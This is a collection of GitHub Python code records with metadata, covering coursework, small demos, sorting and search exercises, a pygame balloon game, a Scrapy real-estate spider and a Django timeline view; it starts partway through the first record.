0 and the standard deviation = 1\r\n    Normalization is scaled between min = 0 and max = 1\r\n    This allows all features to contribute equally \r\n    \r\nb) z-transformed data is linarily transformed with a mean of zero and a stdev \r\n    of 1, aka Standardization \r\n    \r\nc) k-fold where youre computing k-1 folds k times. If theyre using \r\n    leave-one-out then they're not incorporating the entire dataset \r\n    hence the discrepancy in values \r\n'''\r\n    \r\n# -----------------------------------------------------------------------------\r\n# Problem 4\r\n'''\r\na) Negatively skewed\r\nb) Ash: 0 & Magnesium: -1   \r\nc) classification 1\r\nd) Significant difference beasue there is signifacntly less data to be tested \r\n    against, there are 11 columns of data missing so theres definately going \r\n    to be some descrepincy when you begin to exclude that dramatically. \r\ne) still pretty significant for the same reason. \r\nf) \r\n\r\nStandardized Diluted & Proline:  0.8815079979360165\r\nStandardized Nonflavanoid Phenols & Ash:   0.4915763673890609\r\n'''\r\ndef testSubsets(k=10):\r\n    fullDF, inputCols, outputCol = readData()\r\n    alg = OneNNClassifier()    \r\n    inputColsNew = [\"Diluted\",\"Proline\"]\r\n    standardize(fullDF,inputColsNew)    \r\n    results = model_selection.cross_val_score(alg, fullDF.loc[:,inputColsNew], fullDF.loc[:, outputCol], cv=k, scoring=alg.scorer)\r\n    print(\"Standardized Diluted & Proline: \", results.mean())\r\n\r\n    alg = OneNNClassifier()    \r\n    inputColsNew2 = [\"Nonflavanoid Phenols\", \"Ash\"]\r\n    standardize(fullDF,inputColsNew2)      \r\n    results = model_selection.cross_val_score(alg, fullDF.loc[:,inputColsNew2], fullDF.loc[:, outputCol], cv=k, scoring=alg.scorer)\r\n    print(\"Standardized Nonflavanoid Phenols & Ash: \", results.mean())\r\n   \r\n# --------------------------------------------------------------------------------------\r\n# Given\r\ndef test07():\r\n    df, inputCols, outputCol = readData()    \r\n    dfCopy = df.copy()\r\n    standardize(dfCopy, [inputCols[0]])\r\n    print(dfCopy.loc[:, inputCols[0]].head(2))\r\n    \r\n    dfCopy = df.copy()\r\n    normalize(dfCopy, [inputCols[0]])\r\n    print(dfCopy.loc[:, inputCols[0]].head(2))\r\n    testSubsets()\r\n","repo_name":"gaberife/Preprocessing-and-Visualization","sub_path":"preprocessingAndVisualizations.py","file_name":"preprocessingAndVisualizations.py","file_ext":"py","file_size_in_byte":7744,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"70093881153","text":"from selenium import webdriver\n\ned = webdriver.Edge()\ned.maximize_window()\n'''\n    弹窗\n        1.alert：确认\n        2.prompt：支持输入并确认\n        3.confirm：确认与取消\n'''\n# alert弹窗\nalert = ed.switch_to.alert\nalert.accept()\n# confirm弹窗处理\nalert.dismiss()\nalert.accept()\n# prompt\nalert.send_keys('13123123')\nalert.accept()\nalert.dismiss()\n\n\n\n\ned.close()\n","repo_name":"ttt01007/Python","sub_path":"python_02_selenium/class04_wait/demo02_alert.py","file_name":"demo02_alert.py","file_ext":"py","file_size_in_byte":388,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"31981887678","text":"from .utils import testsuite\r\n\r\nwith testsuite(\"dict\"):\r\n    y = dict(x=1, y=1.0)\r\n    assert y == {\"x\": 1, \"y\": 1.0}\r\n\r\n    def f() -> str:\r\n        return \"2\"\r\n\r\n    k: int = 1\r\n    yy = dict([(1, k), (3, f())])\r\n    assert yy == {1: 1, 3: \"2\"}\r\n\r\n    yyy = dict(yy, **y)  # type: ignore\r\n    z: dict[int | str, int | str] = {1: 1, 3: \"2\", \"x\": 1, \"y\": 1.0}  # type: ignore\r\n    assert yyy == z  # type: ignore\r\n\r\n    try:\r\n        print(\"dict hash\", hash({}))\r\n        raise RuntimeError\r\n    except TypeError:\r\n        pass\r\n\r\n    assert {1: 2, 3: 4, 5: 6} != {1: 2, 3: 4}\r\n\r\n    assert not ({1: 2, 3: 4, 5: 6} == {1: 2, 3: 4})\r\n\r\n    zzz = dict(x=3)\r\n    zzz.update({\"y\": 3})\r\n    assert zzz == {\"x\": 3, \"y\": 3}\r\n","repo_name":"thautwarm/Traffy.UnityPython","sub_path":"UnityPython.BackEnd/tests/test_dict.py","file_name":"test_dict.py","file_ext":"py","file_size_in_byte":718,"program_lang":"python","lang":"en","doc_type":"code","stars":43,"dataset":"github-code","pt":"60"}
+{"seq_id":"26585615791","text":"#!/usr/local/bin/python3\r\n# -*- coding: utf-8 -*-\r\n# Author  : rusi_\r\n\r\n\r\nalist = [17, 20, 93, 54, 77, 31, 44, 55, 226]\r\n\r\n\r\ndef insert_sort(alist):\r\n    '''插入排序'''\r\n    n = len(alist)\r\n    for j in range(n - 1):  # 操作多少个数，代表多少次\r\n        i = j + 1  # i 代表从哪个数开始操作（索引）\r\n        while i > 0:  # range(j,0,-1)\r\n            if alist[i] < alist[i - 1]:\r\n                alist[i], alist[i - 1] = alist[i - 1], alist[i]\r\n                i -= 1\r\n            #     else 对程序本身没有影响，这是一个性能优化---o(n)2到o(n)（如果去掉else，需要把 i-=1（shift tab））\r\n            else:\r\n                break\r\n\r\n\r\ninsert_sort(alist)\r\nprint(alist)\r\n# 稳定性：稳定。相同的元素的时候是不会进行交换操作的，所以稳定。\r\n","repo_name":"luola63702168/leetcode","sub_path":"sort_algorithm_collection/rusi_04_插入排序.py","file_name":"rusi_04_插入排序.py","file_ext":"py","file_size_in_byte":823,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"30194681359","text":"\"\"\"\nComplexity:\n----------\nTime: O(log(N))\nSpace: O(1)\n\"\"\"\nclass Solution:\n    def isPerfectSquare(self, num: int) -> bool:\n        if num < 2:\n            return True\n        low = 2\n        high = num // 2\n        while low <= high:\n            mid = low + ((high - low) // 2)\n            mid_squared = mid * mid\n            if mid_squared == num:\n                return True\n            elif mid_squared < num:\n                low = mid + 1\n            else:\n                high = mid - 1\n        return False","repo_name":"verisimilitude20201/competitive-programming","sub_path":"Leet_Coding/Binary_Search_trees/367_Valid_Perfect_Square.py","file_name":"367_Valid_Perfect_Square.py","file_ext":"py","file_size_in_byte":513,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"7202562627","text":"from datetime import date, datetime\n\ntoday = date.today()\n\ndef end_of_day_date_adder():\n    today = date.today()\n    return today.strftime(\"%B %d, %Y\")\n\ndef time_adder():\n    now = datetime.now()\n    return now.strftime(\"%H:%M:%S\")\n\nmy_dict = {\n    \"table_number\": 2,\n    \"occupied\": \"Occupied\",\n    \"start_time\": \"18:33:01\",\n    \"end_time\": None,\n    \"num_minutes_played\": None\n}\n\nmy_dict[\"end_time\"] = time_adder()\nstart_time_delta = datetime.strptime(my_dict[\"start_time\"], \"%H:%M:%S\")\nend_time_delta = datetime.strptime(my_dict[\"end_time\"], \"%H:%M:%S\")\n\n\ntotal_time = (end_time_delta - start_time_delta) # timedelta type\nprint(total_time)\nmy_dict[\"num_minutes_played\"] = date.strftime(total_time)\n\nprint(my_dict[\"num_minutes_played\"], \"%H:%m:%s\")\nprint(type(my_dict[\"num_minutes_played\"]))\n","repo_name":"vpetsev/digital-crafts-week-2","sub_path":"pool-table-management/Untitled-1.py","file_name":"Untitled-1.py","file_ext":"py","file_size_in_byte":794,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"17964461693","text":"import pygame\nimport os\nfrom random import randint as rand\nfrom playsound import playsound\nfrom tkinter import Tk\nfrom tkinter import Button\nfrom tkinter import Label\nfrom pygame.locals import *\nos.chdir(os.path.dirname(os.path.abspath(__file__)))\nclass Player:\n    def __init__(self):\n        self.texture = pygame.transform.scale(pygame.image.load('player.png'), (200, 200))\n        self.weapon = ['Bare Hands', 40]\n        self.x = 0\n        self.y = 200\n    def render(self):\n        global root\n        self.character = root.blit(self.texture, (self.x, self.y))\n        keys = pygame.key.get_pressed()\n        if keys[pygame.K_RIGHT]:\n            self.x += 10\n        if keys[pygame.K_LEFT]:\n            self.x -= 10\nclass Balloon:\n    def __init__(self, startpos=None):\n        if startpos != None:\n            self.pos = [startpos, 200]\n        else:\n            self.pos = [1000, 200]\n        self.colour = (rand(0, 255), rand(0, 255), rand(0, 255))\n        self.popped = False\n    def render(self):\n        global root\n        if not self.popped:\n            pygame.draw.line(root, (0, 0, 0), (self.pos[0], self.pos[1]), (self.pos[0], self.pos[1] + 100))\n            self.character = pygame.draw.circle(root, self.colour, (self.pos[0], self.pos[1] - 50), 50)\n        if self.pos[0] < -100:\n            self.pos[0] = 1100\n            self.colour = (rand(0, 255), rand(0, 255), rand(0, 255))\n            self.popped = False\n        else:\n            self.pos[0] -= 20\ndef playAgain():\n    global score\n    global hooray\n    score = 0\n    hooray.destroy()\ndef killGame():\n    global running\n    global hooray\n    running = False\n    hooray.destroy()\ndef congratulateWin():\n    global score\n    global hooray\n    hooray = Tk()\n    Label(hooray, text='Well done, you won the game!').pack()\n    Button(hooray, text='Quit', command= lambda: killGame()).pack()\n    Button(hooray, text='Play Again', command=lambda: resetGame()).pack()\n    hooray.title('Well done, you won the game!')\ndef warnNoMoney():\n    window = Tk()\n    exit = Button(window, text='OK', command= lambda: window.destroy())\n    message = Label(window, text='You do not have enough points to upgrade your weapon!')\n    message.pack()\n    exit.pack()\n    window.title('Warning')\n    window.mainloop()\ndef popBalloon(arg):\n    global player\n    global score\n    chance = player.weapon[1]\n    chance += 1\n    if chance > rand(1, 100):\n        arg.popped = True\n        score += 1\n        playsound('popped.mp3')\n    else:\n        playsound('not_popped.mp3')\ndef upgradeWeapon():\n    global upgraded\n    global player\n    upgraded = True\n    player.weapon = ['Needle', 80]\ndef updateWindow():\n    global root\n    global clock\n    global fps\n    pygame.display.update()\n    pygame.time.delay(100)\n    clock.tick(60)\n    fps = clock.get_fps()\ndef clearWindow():\n    global root\n    root.fill((50, 205, 50))\ndef checkEvents():\n    global balloons\n    global running\n    global upgrader\n    global upgrader_text\n    global score\n    for event in pygame.event.get():\n        if event.type == pygame.QUIT:\n            running = False\n        if event.type == pygame.MOUSEBUTTONDOWN:\n            mouse_x, mouse_y = event.pos\n            for balloon in balloons:\n                if balloon.character.collidepoint(mouse_x, mouse_y):\n                    popBalloon(balloon)\n            if not upgraded:\n                if upgrader.collidepoint(mouse_x, mouse_y) or upgrader_text.collidepoint(mouse_x, mouse_y):\n                    if score > 31:\n                        upgradeWeapon()\n                    else:\n                        warnNoMoney()\n    if score > 100:\n        congratulateWin()\ndef redrawSprites():\n    global root\n    global upgrader\n    global upgrader_text\n    global balloons\n    global player\n    global score\n    global fps\n    global text\n    global upgraded\n    root.blit(pygame.image.load('sky.png'), (0, 0))\n    root.blit(pygame.image.load('sky.png'), (0, 100))\n    for balloon in balloons:\n        balloon.render()\n    root.blit(text.render(\"FPS: \" + str(int(fps)), True, (0, 0, 0)), (0, 0))\n    root.blit(text.render(str(score), True, (0, 0, 0)), (920, 0))\n    root.blit(text.render(\"Weapon: \" + player.weapon[0], True, (0, 0, 0)), (550, 0))\n    if not upgraded:\n        upgrader = pygame.draw.rect(root, (255, 255, 255), (200, 0, 260, 40))\n        upgrader_text = root.blit(text.render(\"Upgrade Weapon\", True, (0, 0, 0)), (200, 0))\n    player.render()\ndef setupGame():\n    global root\n    global text\n    global running\n    global fps\n    global score\n    global balloons\n    global clock\n    global player\n    global upgraded\n    pygame.init()\n    root = pygame.display.set_mode((1000, 400))\n    text = pygame.font.SysFont('Courier', 30)\n    running = True\n    fps = 0\n    upgraded = False\n    score = 0\n    balloons = []\n    clock = pygame.time.Clock()\n    player = Player()\n    pygame.display.set_caption('Balloon Popper')\n    for time in range(1, 14):\n        if time%2 == 0:\n            x = time*100\n            balloons.append(Balloon(startpos=x))\ndef playGame():\n    global running\n    setupGame()\n    while running:\n        updateWindow()\n        clearWindow()\n        checkEvents()\n        redrawSprites()\n        pygame.event.pump()\n    pygame.display.quit()\n    pygame.quit()\nplayGame()\n","repo_name":"BoxifyMC/BalloonPopper","sub_path":"client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":5284,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"70218896512","text":"#!/usr/bin/python3\n\"\"\"Module to return matrix of divided integers\n\"\"\"\n\n\ndef matrix_divided(matrix, div):\n    \"\"\"Divides all elements of a matrix\n\n    Args:\n        matrix: list of integers or floats\n        div (int): integer or float to divide matrix by\n\n    Raises:\n        TypeError: If matrix is not list of integers or floats\n        TypeError: If each row of the matrix is not the same size\n        TypeError: If div is not an integer or float\n        ZeroDivisionError: If div equals 0\n\n    Returns:\n        New matrix of all elements divided by div\n    \"\"\"\n    divided = []\n\n    if type(div) is not int and type(div) is not float:\n        raise TypeError(\"div must be a number\")\n    if div == 0:\n        raise ZeroDivisionError(\"division by zero\")\n\n    for j in matrix:\n        for k in j:\n            if type(k) is not int and type(k) is not float:\n                raise TypeError(\"matrix must be a matrix (list of lists)\\\n of integers/floats\")\n                return\n            continue\n\n    for row in matrix:\n        if len(row) != len(matrix[0]):\n            raise TypeError(\"Each row of the matrix must have the same size\")\n        divided.append(list(map(lambda x: round((x / div), 2), row)))\n    return divided\n","repo_name":"lisaolson/higher_level_programming","sub_path":"0x07-python-test_driven_development/2-matrix_divided.py","file_name":"2-matrix_divided.py","file_ext":"py","file_size_in_byte":1228,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"18176428319","text":"import scrapy\n\n# almost final code to take attributes from pages\n# right now it takes just from one link\n# add to take from css and to make all attributes\n\nclass adv(scrapy.Item):\n    price = scrapy.Field()\n    location = scrapy.Field()\n    price_m2 = scrapy.Field()\n    area = scrapy.Field()\n    room_no = scrapy.Field()\n    finish_condition = scrapy.Field()\n    balcony_garden_terrace = scrapy.Field()\n    rent = scrapy.Field()\n    parking_place = scrapy.Field()\n    heating = scrapy.Field()\n\nclass advSpider(scrapy.Spider):\n    name = 'adv'\n    allowed_domains = ['otodom.pl/']\n\n    try:\n        with open(\"adv_links.csv\", \"rt\") as f:\n            start_urls = [url.strip() for url in f.readlines()][1:]\n    except:\n        start_urls = []\n   \n    # We override request method to customize the headers of the requests. \n    # The \"User-Agent\" string is added to each request to mimic a request coming from a web browser (in this case, Google Chrome). \n    # This helps avoid blocks put in place by some websites against non-browser traffic.\n\n    def start_requests(self):\n        for url in self.start_urls:\n            yield scrapy.Request(url, headers={\n                \"User-Agent\": \" Chrome/58.0.3029.110\"\n                })\n\n    # There is the issue with xpaths. The xpahs used in selenium does not work in scrapy.\n    # In the last 8 variables to find there is a problem, beacuse if they are empty the structure of the page is different.\n    \n    # In normal case (if the variable is on the page) there is a div, but if it is not there is a button.\n    # In this case we need to use different xpaths for the same variable.\n    # In these cases we need to use longer xpath with or operator to handle both cases.\n\n    # At the beginning we tried to use \".../*[1]...\" xpath but it didnt work always.\n\n    def parse(self, response):\n        a = adv()\n\n        price_xpath = \"//strong[@aria-label='Cena']/text()\"\n        location_xpath = \"//a[@aria-label='Adres']/text()\"\n        price_m2_xpath = \"//div[@aria-label='Cena za metr kwadratowy']/text()\"\n\n        area_xpath = \"//div[text()='Powierzchnia']/following::div[1]/div[1]/text() | //div[text()='Powierzchnia']/following::div[1]/button[1]/text()\"\n        room_no_xpath = \"//div[text()='Liczba pokoi']/following::div[1]/div[1]/text() | //div[text()='Liczba pokoi']/following::div[1]/button[1]/text()\"\n        finish_condition_xpath = \"//div[text()='Stan wykończenia']/following::div[1]/div[1]/text() | //div[text()='Stan wykończenia']/following::div[1]/button[1]/text()\"\n        balcony_garden_terrace_xpath = \"//div[text()='Balkon / ogród / taras']/following::div[1]/div[1]/text() | //div[text()='Balkon / ogród / taras']/following::div[1]/button[1]/text()\"\n        rent_xpath = \"//div[text()='Czynsz']/following::div[1]/div[1]/text() | //div[text()='Czynsz']/following::div[1]/button[1]/text()\"\n        parking_place_xpath = \"//div[text()='Miejsce parkingowe']/following::div[1]/div[1]/text() | //div[text()='Miejsce parkingowe']/following::div[1]/button[1]/text()\"\n        heating_xpath = \"//div[text()='Ogrzewanie']/following::div[1]/div[1]/text() | //div[text()='Ogrzewanie']/following::div[1]/button[1]/text()\"\n\n        a['price'] = response.xpath(price_xpath).get()\n        a['location'] = response.xpath(location_xpath).get()\n        a['price_m2'] = response.xpath(price_m2_xpath).get()\n        a['area'] = response.xpath(area_xpath).get()\n        a['room_no'] = response.xpath(room_no_xpath).get()\n        a['finish_condition'] = response.xpath(finish_condition_xpath).get()\n        a['balcony_garden_terrace'] = response.xpath(balcony_garden_terrace_xpath).get()\n        a['rent'] = response.xpath(rent_xpath).get()\n        a['parking_place'] = response.xpath(parking_place_xpath).get()\n        a['heating'] = response.xpath(heating_xpath).get()\n\n        yield a\n\n# scrapy crawl adv -o adv_attr.csv","repo_name":"KacpiPL/Otodom-Webscraping","sub_path":"scrapy/otodom_scrapy_project/otodom_scrapy_project/spiders/attributes.py","file_name":"attributes.py","file_ext":"py","file_size_in_byte":3869,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"25599292393","text":"import math\r\nimport skimage\r\nfrom skimage import io, viewer, color, data, filters, feature, morphology\r\nfrom pathlib import Path\r\nimport matplotlib.pyplot as plt \r\nimport numpy as np\r\n\r\nscan_gs_bird = np.load('scan_gs_bird.npy')\r\nscan_gs_sample2 = np.load('scan_gs_Sample2.npy')\r\n\r\ndef plot_comparison(original, filtered, filter_name, threshold, threshold_name):\r\n\r\n    fig, ax = plt.subplots(ncols=3, figsize=(8, 4), sharex=True, sharey=True)\r\n    fig.suptitle('Testing Testing')                               \r\n    ax[0].imshow(original, cmap='binary')\r\n    ax[0].set_title('original')\r\n    ax[0].axis('off')\r\n    ax[0].set_adjustable('box')\r\n    ax[1].imshow(filtered, cmap='binary')\r\n    ax[1].set_title(filter_name)\r\n    ax[1].axis('off')\r\n    ax[1].set_adjustable('box')\r\n    ax[2].imshow(threshold, cmap='binary')\r\n    ax[2].set_title(threshold_name)\r\n    ax[2].axis('off')\r\n    ax[2].set_adjustable('box')\r\n    \r\n    plt.show()\r\n\r\n\r\nStructureElem = morphology.square(4)\r\n\r\nWhiteTophat = morphology.white_tophat(scan_gs_sample2, selem=StructureElem)\r\nInv = scan_gs_sample2 - WhiteTophat\r\n\r\nthreshold1 = filters.threshold_isodata(scan_gs_sample2)\r\nbinary = scan_gs_sample2 > threshold1\r\n\r\nthreshold2 = filters.threshold_isodata(binary)\r\nbinary2 = binary > threshold2\r\n\r\n\r\nplot_comparison(scan_gs_sample2, Inv, 'image - tophat', binary2, 'Otsu twice of Inv')","repo_name":"msychung/Industrial-Group-Project","sub_path":"image-processing/didnt-work/WTH_threshold.py","file_name":"WTH_threshold.py","file_ext":"py","file_size_in_byte":1363,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"30241140257","text":"from django.shortcuts import get_object_or_404, render\nfrom django.views.generic import View, FormView, TemplateView\n# from django.utils import simplejson\n\nfrom django.core.urlresolvers import reverse\nimport json\nimport requests \n\nfrom vis.forms import SimpleForm\nfrom vis.loader import Loader, JiraLoader\nfrom vis.models import Bar\n\nclass MainView(FormView):\n\ttemplate_name = 'vis/index.html'\n\tform_class = SimpleForm\n\tsuccess_url = 'timeline'\n\n\tdef form_valid(self, form, **kwargs):\n\t\t# This method is called when valid form data has been POSTed.\n\t\t# It should return an HttpResponse.\n\n\t\t# Save form information to session \n\t\tself.request.session['cleaned_data'] = form.cleaned_data\n\n\t\treturn super(MainView, self).form_valid(form)\n\nclass TimelineView(TemplateView):\n\ttemplate_name = 'timeline'\n\n\n\tdef get_context_data(self, **kwargs):\n\t\tcontext = super(TimelineView, self).get_context_data(**kwargs)\n\t\tdata    = self.request.session['cleaned_data']\n\n\t\tloader = JiraLoader( data['databaseURL'], data['username'], data['password'], data[\"project\"], \n\t\t\t\t\t\t\t data[\"from_\"],       data[\"to\"],       data[\"release\"],  data[\"sprint\" ])\n\t\t\n\t\t# context['data'] = loader.get_json();\n\t\tcontext['data'] = json.dumps(loader.get_json())\n\n\t\treturn context\n\nclass Detail(View):\n\tdef get(self, request):\n\t\tbar = get_object_or_404(Bar, pk=bar_id)\n\t\treturn render(request, 'vis/detail.html', {'bar': bar})","repo_name":"vmasrani/chgvis","sub_path":"vis/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1390,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"18808678003","text":"import asyncio\nimport aiohttp\n\n\nasync def request(url):\n    async with aiohttp.ClientSession() as session:\n        async with session.get(url) as response:\n            body = await response.json()\n            return body\n\nasync def coroutine():\n    tasks = []\n    tasks.append(\n        asyncio.create_task(request('https://api.pokemontcg.io/v2/cards?q=name:gardevoir'))\n    )\n    tasks.append(\n        asyncio.create_task(request('https://fakerapi.it/api/v1/addresses?_quantity=1'))\n    )\n    result = await asyncio.gather(*tasks)\n    print(result)\n\ndef main():\n    asyncio.run(coroutine())\n\nif __name__ == '__main__':\n    main()\n","repo_name":"mayconcarlete/python-topics","sub_path":"aiohttp/multiple_requests.py","file_name":"multiple_requests.py","file_ext":"py","file_size_in_byte":630,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"31441813617","text":"# https://codeforces.com/problemset/problem/705/A\n### 705 A. Hulk\n\n# Store input\nn = int(input())\n\n# Get the feeling\nfeeling = \"I hate\"\nfor i in range(2,n+1):\n    if i%2==0:\n        feeling += \" that I love\"\n    else:\n        feeling += \" that I hate\"\nfeeling += \" it\"\n\nprint(feeling)\n\n# https://codeforces.com/problemset/problem/705/A\n\n\n# Dr. Bruce Banner hates his enemies (like others don't).\n# As we all know, he can barely talk when he turns into the\n# incredible Hulk. That's why he asked you to help him to\n# express his feelings.\n\n# Hulk likes the Inception so much, and like that his feelings\n# are complicated. They have n layers. The first layer is hate,\n# second one is love, third one is hate and so on...\n\n# For example if n = 1, then his feeling is \"I hate it\" or if\n# n = 2 it's \"I hate that I love it\", and if n = 3 it's \"I hate\n# that I love that I hate it\" and so on.\n\n# Please help Dr. Banner.\n\n# Input\n\n# The only line of the input contains a single integer\n# n (1 ≤ n ≤ 100) — the number of layers of love and hate.\n\n# Output\n\n# Print Dr.Banner's feeling in one line.\n\n# Contraints\n# time limit per test\n# 1 seconds\n# memory limit per test\n# 256 megabytes\n# input\n# standard input\n# output\n# standard output\n\n# Examples\n\n# Input\n# 1\n\n# Output\n# I hate it\n\n# Input\n# 2\n\n# Output\n# I hate that I love it\n\n# Input\n# 3\n\n# Output\n# I hate that I love that I hate it\n","repo_name":"virejdasani/CodeForces-Solutions","sub_path":"Hulk-705A/Hulk-705A.py","file_name":"Hulk-705A.py","file_ext":"py","file_size_in_byte":1409,"program_lang":"python","lang":"en","doc_type":"code","stars":58,"dataset":"github-code","pt":"60"}
+{"seq_id":"1011468446","text":"import logging\nimport azure.functions as func\nimport fdb\nimport json\n\n\ndef main(req: func.HttpRequest) -> func.HttpResponse:\n    logging.info('Python HTTP trigger function processed a request.')\n\n    try:\n        logging.info('Connecting to database')\n        con = fdb.connect(\n            host='51.105.135.4', database='/firebird/data/Fitnes.fdb',\n            user='sysdba', password='masterkey', charset='UTF8'\n        )\n        logging.info('Connected to database succesfully')\n\n        logging.info('Getting data')\n        cur = con.cursor()\n        cur.execute(\"select * from clanovi\")\n        names = [item[0] for item in cur.description]\n        resp = cur.fetchall()\n        resp = json.dumps([{names[i]:item[i] for i in range(len(names))} for item in resp], default=str, ensure_ascii=False)\n        logging.info('Got data succesfully')\n\n        return func.HttpResponse(\n                resp,\n                status_code=200,\n                mimetype='application/json'\n            )\n\n    except fdb.DatabaseError as err:\n        logging.info('Database error :(')\n        return func.HttpResponse(\n             err.args[0],\n             status_code=500\n        )\n    \n    except Exception as ex:\n        logging.info('Unknown error')\n        logging.info(ex)\n        return func.HttpResponse(\n             \"Unknown error\",\n             status_code=400\n        )\n","repo_name":"lukaszwazny/bramka_wejsciowa","sub_path":"test_az_function/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1372,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"2257110606","text":"# image_viewer.py\r\n#\r\n# Alice Zhang <zhan6698@umn.edu> (Section 070)\r\n#\r\n# displays pixelated images from a matrix of colors\r\n\r\nSCREEN_SIZE = 640\r\n\r\nimport turtle\r\nimport sys\r\nfrom images import IMAGES\r\n\r\ndef draw_pixel(x, y, color, size): #draws square pixel\r\n    turtle.penup()\r\n    turtle.goto(x * size, (SCREEN_SIZE / size - 1 - y)* size)\r\n    turtle.fillcolor(color)\r\n    turtle.begin_fill()\r\n    for side in range(4):\r\n        turtle.forward(size)\r\n        turtle.left(90)\r\n    turtle.end_fill()\r\n\r\ndef draw_image(img): #draws image\r\n    for row in range(len(img)):\r\n        for col in range(len(img[0])):\r\n            draw_pixel(col, row, img[row][col], SCREEN_SIZE / len(img))\r\n    \r\ndef main(): #validates command line arg then selects and draws image\r\n    turtle.tracer(0,0)\r\n    turtle.hideturtle()\r\n    turtle.penup()\r\n    turtle.setup(width=SCREEN_SIZE, height=SCREEN_SIZE)\r\n    turtle.setworldcoordinates(0, 0, SCREEN_SIZE, SCREEN_SIZE)\r\n    \r\n    if len(sys.argv) < 2:\r\n        print('Usage: python3 image_viewer.py index between 0 and 3')\r\n        exit()\r\n        \r\n    draw_image(IMAGES[int(sys.argv[1])])\r\n    turtle.update()\r\n    turtle.mainloop()\r\n    \r\nif __name__ == '__main__':\r\n    main()\r\n","repo_name":"yjqian02/Alice_Zhang_Coursework","sub_path":"CSCI_1133/homeworks/hw3/image_viewer.py","file_name":"image_viewer.py","file_ext":"py","file_size_in_byte":1214,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"9433882655","text":"import random\r\nmin_fark = 101\r\ns2 = 201\r\nwhile True:\r\n    s1 = random.randint(1,100)\r\n    print(\"{}    \".format(s1))\r\n    gecici = s2 - s1\r\n    if gecici < 0:\r\n        gecici = gecici * -1\r\n    if gecici <= min_fark:\r\n        min_fark = gecici\r\n        min1 = s1\r\n        min2 = s2\r\n    s2 = s1\r\n    if (s1 >= 70 and s1 <= 75):\r\n        break;\r\nprint(\"\\nMinimum fark: {}\" .format(min_fark))\r\nprint(\"\\nSayi 1: {}, Sayi 2: {}\".format(min1,min2))\r\n","repo_name":"mustafadag525/python","sub_path":"quiz 1.py","file_name":"quiz 1.py","file_ext":"py","file_size_in_byte":445,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"60"}
+{"seq_id":"8973045302","text":"import pickle\n\ndef dp():\n    dp.memo = {}\n    dp.k_table = {}\n\ndef k(p, adj, categories):\n    res = None\n    if len(categories.get(p, set([]))) == 0:\n        for q in adj.get(p, []):\n            dp.k_table[(p, q)] = 1\n        return\n\n    for q in adj.get(p, []):\n        diff = categories.get(q, set([])) - categories.get(p, set([]))\n        if len(diff) == 0:\n            res = 1\n        else:\n            res = len(diff)\n        dp.k_table[(p, q)] = res\n\n# Run k(p) for all nodes before running reach. It will take time proportional to O(V + E)\n\ndef reach(p, parent, h, adj, visited, cutoff):\n    if p in visited:\n        return None\n    \n    if h > cutoff:\n        return None\n\n    visited.add(p)\n\n    if (p, h) in dp.memo:\n        return dp.memo[(p, h)]\n\n    rp = len(adj.get(p,[])) * dp.k_table.get((parent, p), 1) * h\n    np = 1\n    hp = h\n    for q in adj.get(p,[]):\n        reach_tuple = reach(q, p, h + 1, adj, visited, cutoff)\n        if reach_tuple is None:\n            continue\n\n        rq, hq, nq = reach_tuple\n        rp = rp + rq\n        hp = max(hp , hq)   \n        np = np + nq\n\n    dp.memo[(p, h)] = (rp, hp, np)\n\n    return (rp, hp, np)\n\n# Call for each paper : reach(p, None, 0, adj, set([]), cutoff)\ngraph = pickle.load(open('graph.pickle', 'rb'))\ncategory_map = pickle.load(open('category_map.pickle', 'rb'))\n\ndp()\nfor p in graph.keys():\n    k(p, adj=graph, categories=category_map)\n\nreach_vals = dict()\n\nfor p in graph.keys():\n    r = reach(p=p, parent=None, h=0, adj=graph, visited=set([]), cutoff=50)\n    reach_vals[p] = r\n\npickle.dump(reach_vals, open('reach_vals_with_category_50.pickle', 'wb'))\n","repo_name":"ankitaggarwal011/s-index","sub_path":"code/reach_final.py","file_name":"reach_final.py","file_ext":"py","file_size_in_byte":1623,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
